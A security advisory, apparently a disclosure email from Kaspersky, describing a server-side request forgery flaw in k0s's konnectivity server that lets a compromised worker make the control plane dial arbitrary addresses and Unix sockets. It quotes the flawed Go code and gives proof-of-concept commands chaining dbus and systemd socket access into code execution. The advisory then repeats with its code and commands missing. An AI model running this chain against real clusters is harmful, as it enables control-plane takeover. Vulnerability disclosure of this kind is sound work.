Please find below the identified vulnerability for your investigation.
Thank you for your attention. Please feel free to contact us if you require additional information or clarification on any points.
Looking forward to your response.
KLSA-00466 k0s Server Side Request Forgery vulnerability
Affected software/hardware
All k0s releases, which use k0sproject/apiserver-network-proxy
Affected version
v1.21.9+k0s.0 -> v1.21.14+k0s.0
v1.22.6+k0s.0 -> v1.22.17+k0s.0
v1.23.1+k0s.0 -> v1.23.17+k0s.1
v1.24.2+k0s.0 -> v1.24.17+k0s.0
v1.25.2+k0s.0 -> v1.25.16+k0s.0
v1.26.0+k0s.0 -> v1.26.15+k0s.0
v1.27.1+k0s.0 -> v1.27.16+k0s.0
Severity level
Impact: A compromised k0s worker node can authenticate to the konnectivity AgentService on the control plane and send a forged DIAL_REQ, causing the control-plane konnectivity-server process to initiate attacker-controlled outbound connections, including Unix domain socket connections such as /run/dbus/system_bus_socket.
Access Vector: Remote
CVSS v3 Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Overall CVSSv3 Score: 6.4
CVSS v4 Vector: AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Overall CVSSv4 Score: 5.3
CVE: not assigned
Description
k0s versions using the k0sproject/apiserver-network-proxy fork contain an authenticated server-side request forgery vulnerability in the konnectivity server.
The konnectivity server exposes the AgentService.Connect gRPC stream to worker-side konnectivity agents. After a worker agent authenticates with its service account token, the server processes packets received from that backend stream. The vulnerable implementation incorrectly accepts DIAL_REQ packets from the agent/backend side and passes attacker-controlled connection parameters directly to Go’s networking API:
//apiserver-network-proxy/pkg/server/server.go:888
case client.PacketType_DIAL_REQ:
req := pkt.GetDialRequest()
klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
s.handleDialRequest(pkt, backend)
//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
...
dialReq := pkt.GetDialRequest()
resp.GetDialResponse().Random = dialReq.Random
start := time.Now()
conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address
Both dialReq.Protocol and dialReq.Address are controlled by the authenticated worker-side agent. The server does not sufficiently validate that the requested destination is an expected
Kubernetes node/kubelet endpoint, does not restrict the protocol to an intended safe set, and does not ensure that the dial request corresponds to a legitimate API-server-initiated tunnel flow.
As a result, an attacker who compromises a k0s worker node, or obtains the konnectivity-agent token, can cause the control-plane konnectivity-server process to initiate arbitrary outbound connections from the control-plane host. This allows the attacker to reach network services that are accessible from the control plane but not directly accessible from the worker node, bypassing network segmentation and control-plane isolation assumptions.
Depending on the target environment and local services exposed on the control-plane node, this primitive may be further abused to interact with local or internal services, including Unix domain sockets supported by net.Dial. Interact with dbus socket can lead to RCE on control plane
Below PoC exploit RCE based on stand ubuntu 22.04, v1.25.16+k0s.0 1 node.
SOCK=/tmp/master-system-bus.sock
rm -f "$SOCK"
/tmp/agentdial \
-addr cpl-addr:8132 \
-token "$TOKEN" \
-proto unix \
-target /run/dbus/system_bus_socket \
-listen-unix "$SOCK" &
via org.freedesktop.DBus.GetConnectionCredentials got uid konnectivity server process
tmp/systemdcall" \
-socket "$SOCK" \
-auth-empty \
-whoami
got 994 uid. next start linger for this uid
busctl \
--address=unix:path=/tmp/master-system-bus.sock \
call org.freedesktop.login1 \
/org/freedesktop/login1 \
org.freedesktop.login1.Manager \
SetUserLinger ubb 994 true false
on cpl host then appeared systemd user daemon
/run/user/994/bus
/run/user/994/systemd/private
then need forward systemd user socket
USOCK=/tmp/master-user-systemd.sock
rm -f "$USOCK"
/tmp/agentdial \
-addr cpl-addr:8132 \
-token "$TOKEN" \
-proto unix \
-target /run/user/994/systemd/private \
-listen-unix "$USOCK" &
And create user service via this socket
/tmp/systemdcall \
-socket "$USOCK" \
-auth-empty \
-unit "rce-try$(date +%s).service" \
-cmd "bash -lc 'id > /tmp/proof'"
Remediation
Migrate all affected versions k0s to https://github.com/kubernetes-sigs/apiserver-network-proxy
Acknowledgements
Vulnerability discovered by Matvey Bukhtoyarov (Kaspersky https://kaspersky.com)
Please find below the identified vulnerability for your investigation.
Thank you for your attention. Please feel free to contact us if you require additional information or clarification on any points.
Looking forward to your response.
KLSA-00466 k0s Server Side Request Forgery vulnerability
Affected software/hardware
All k0s releases, which use k0sproject/apiserver-network-proxy
Affected version
v1.21.9+k0s.0 -> v1.21.14+k0s.0
v1.22.6+k0s.0 -> v1.22.17+k0s.0
v1.23.1+k0s.0 -> v1.23.17+k0s.1
v1.24.2+k0s.0 -> v1.24.17+k0s.0
v1.25.2+k0s.0 -> v1.25.16+k0s.0
v1.26.0+k0s.0 -> v1.26.15+k0s.0
v1.27.1+k0s.0 -> v1.27.16+k0s.0
Severity level
Impact: A compromised k0s worker node can authenticate to the konnectivity AgentService on the control plane and send a forged DIAL_REQ, causing the control-plane konnectivity-server process to initiate attacker-controlled outbound connections, including Unix domain socket connections such as /run/dbus/system_bus_socket.
Access Vector: Remote
CVSS v3 Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Overall CVSSv3 Score: 6.4
CVSS v4 Vector: AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Overall CVSSv4 Score: 5.3
CVE: not assigned
Description
k0s versions using the k0sproject/apiserver-network-proxy fork contain an authenticated server-side request forgery vulnerability in the konnectivity server.
The konnectivity server exposes the AgentService.Connect gRPC stream to worker-side konnectivity agents. After a worker agent authenticates with its service account token, the server processes packets received from that backend stream. The vulnerable implementation incorrectly accepts DIAL_REQ packets from the agent/backend side and passes attacker-controlled connection parameters directly to Go’s networking API:
Both dialReq.Protocol and dialReq.Address are controlled by the authenticated worker-side agent. The server does not sufficiently validate that the requested destination is an expected
Kubernetes node/kubelet endpoint, does not restrict the protocol to an intended safe set, and does not ensure that the dial request corresponds to a legitimate API-server-initiated tunnel flow.
As a result, an attacker who compromises a k0s worker node, or obtains the konnectivity-agent token, can cause the control-plane konnectivity-server process to initiate arbitrary outbound connections from the control-plane host. This allows the attacker to reach network services that are accessible from the control plane but not directly accessible from the worker node, bypassing network segmentation and control-plane isolation assumptions.
Depending on the target environment and local services exposed on the control-plane node, this primitive may be further abused to interact with local or internal services, including Unix domain sockets supported by net.Dial. Interact with dbus socket can lead to RCE on control plane
Below PoC exploit RCE based on stand ubuntu 22.04, v1.25.16+k0s.0 1 node.
via org.freedesktop.DBus.GetConnectionCredentials got uid konnectivity server process
got 994 uid. next start linger for this uid
on cpl host then appeared systemd user daemon
then need forward systemd user socket
And create user service via this socket
Remediation
Migrate all affected versions k0s to https://github.com/kubernetes-sigs/apiserver-network-proxy
Acknowledgements
Vulnerability discovered by Matvey Bukhtoyarov (Kaspersky https://kaspersky.com)